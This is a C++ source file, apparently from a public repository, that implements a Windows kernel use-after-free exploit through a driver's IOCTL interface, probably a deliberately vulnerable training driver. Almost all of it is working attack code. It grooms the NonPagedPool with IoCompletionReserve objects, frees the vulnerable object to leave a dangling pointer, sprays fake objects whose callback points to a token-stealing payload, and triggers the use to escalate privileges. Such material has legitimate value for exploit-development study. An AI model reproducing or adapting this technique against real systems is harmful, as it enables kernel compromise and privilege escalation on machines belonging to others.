-
-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathUseAfterFree.cpp
108 lines (86 loc) · 2.71 KB
/
UseAfterFree.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#include "UseAfterFree.h"
bool
ExploitUseAfterFree::exploit() {
DWORD dummy = 0;
struct FakeObject {
void *callback;
unsigned char buffer[0x54];
};
FakeObject obj;
memset(&obj, 0x43, sizeof(obj));
obj.callback = tokenStealingPayloadRealPointer;
m_handles.reset(new HANDLE[Max_Number_Of_Objects]);
if(!m_handles) {
throw bad_alloc();
}
memset(m_handles.get(), 0xFF, sizeof(HANDLE) * Max_Number_Of_Objects);
wcout << L"[+] Step 1: Derandomizing kernel NonPagedPool..." << endl;
if(!derandomizePool()) {
return false;
}
wcout << L"[+] Step 2: Allocate Use-After-Free vulnerable object..." << endl;
bool ret = driver.SendIOCTLQuiet (
ExploitUseAfterFree::Ioctl_Code_Allocate,
&dummy,
sizeof(dummy)
);
wcout << L"[+] Step 3: Free that just allocated object to introduce dangling-pointer" << endl;
ret = driver.SendIOCTLQuiet (
ExploitUseAfterFree::Ioctl_Code_Free,
&dummy,
sizeof(dummy)
);
wcout << L"[+] Step 4: Spraying fake objects in NonPagedPool..." << endl;
for(size_t i = 0; i < (Max_Number_Of_Objects / 3); i++ ) {
driver.SendIOCTLQuiet (
ExploitUseAfterFree::Ioctl_Code_Alloc_Fake_Object,
&obj,
sizeof(obj)
);
}
wcout << L"[+] Step 5: Triggering Use-After-Free..." << endl;
ret = driver.SendIOCTL (
ExploitUseAfterFree::Ioctl_Code_Use,
&dummy,
sizeof(dummy)
);
return ret;
}
bool
ExploitUseAfterFree::derandomizePool() {
typeNtAllocateReserveObject NtAllocateReserveObject;
NtAllocateReserveObject = reinterpret_cast<typeNtAllocateReserveObject>(GetProcAddress(
GetModuleHandleW(L"ntdll.dll"),
"NtAllocateReserveObject"
));
if(!NtAllocateReserveObject) {
wcout << L"[!] Could not find address of: `NtAllocateReserveObject` syscall. System version not supported."
<< endl;
return false;
}
wcout << L"\t* Allocating " << dec << Max_Number_Of_Objects
<< L" IoCompletionReserve objects in NonPagedPool..." << endl;
for(size_t i = 0; i < Max_Number_Of_Objects; i++ ) {
NTSTATUS stat = NtAllocateReserveObject(
&m_handles.get()[i],
0,
IoCompletionReserve
);
if(!NT_SUCCESS(stat)) {
wcout << L"[!] " << dec << i << L". attempt to allocate IoCompletionReserve object failed." << endl
<< L"\tError: " << hex << setw(8) << setfill(L'0') << stat << endl;
return false;
}
}
wcout << L"\t* Freeing every second object out of " << dec
<< (Max_Number_Of_Objects / 2)
<< L" for purpose of pool grooming." << endl;
for(size_t i = (Max_Number_Of_Objects / 2);
i < (Max_Number_Of_Objects);
i += 2
) {
CloseHandle(m_handles.get()[i]);
m_handles.get()[i] = INVALID_HANDLE_VALUE;
}
return true;
}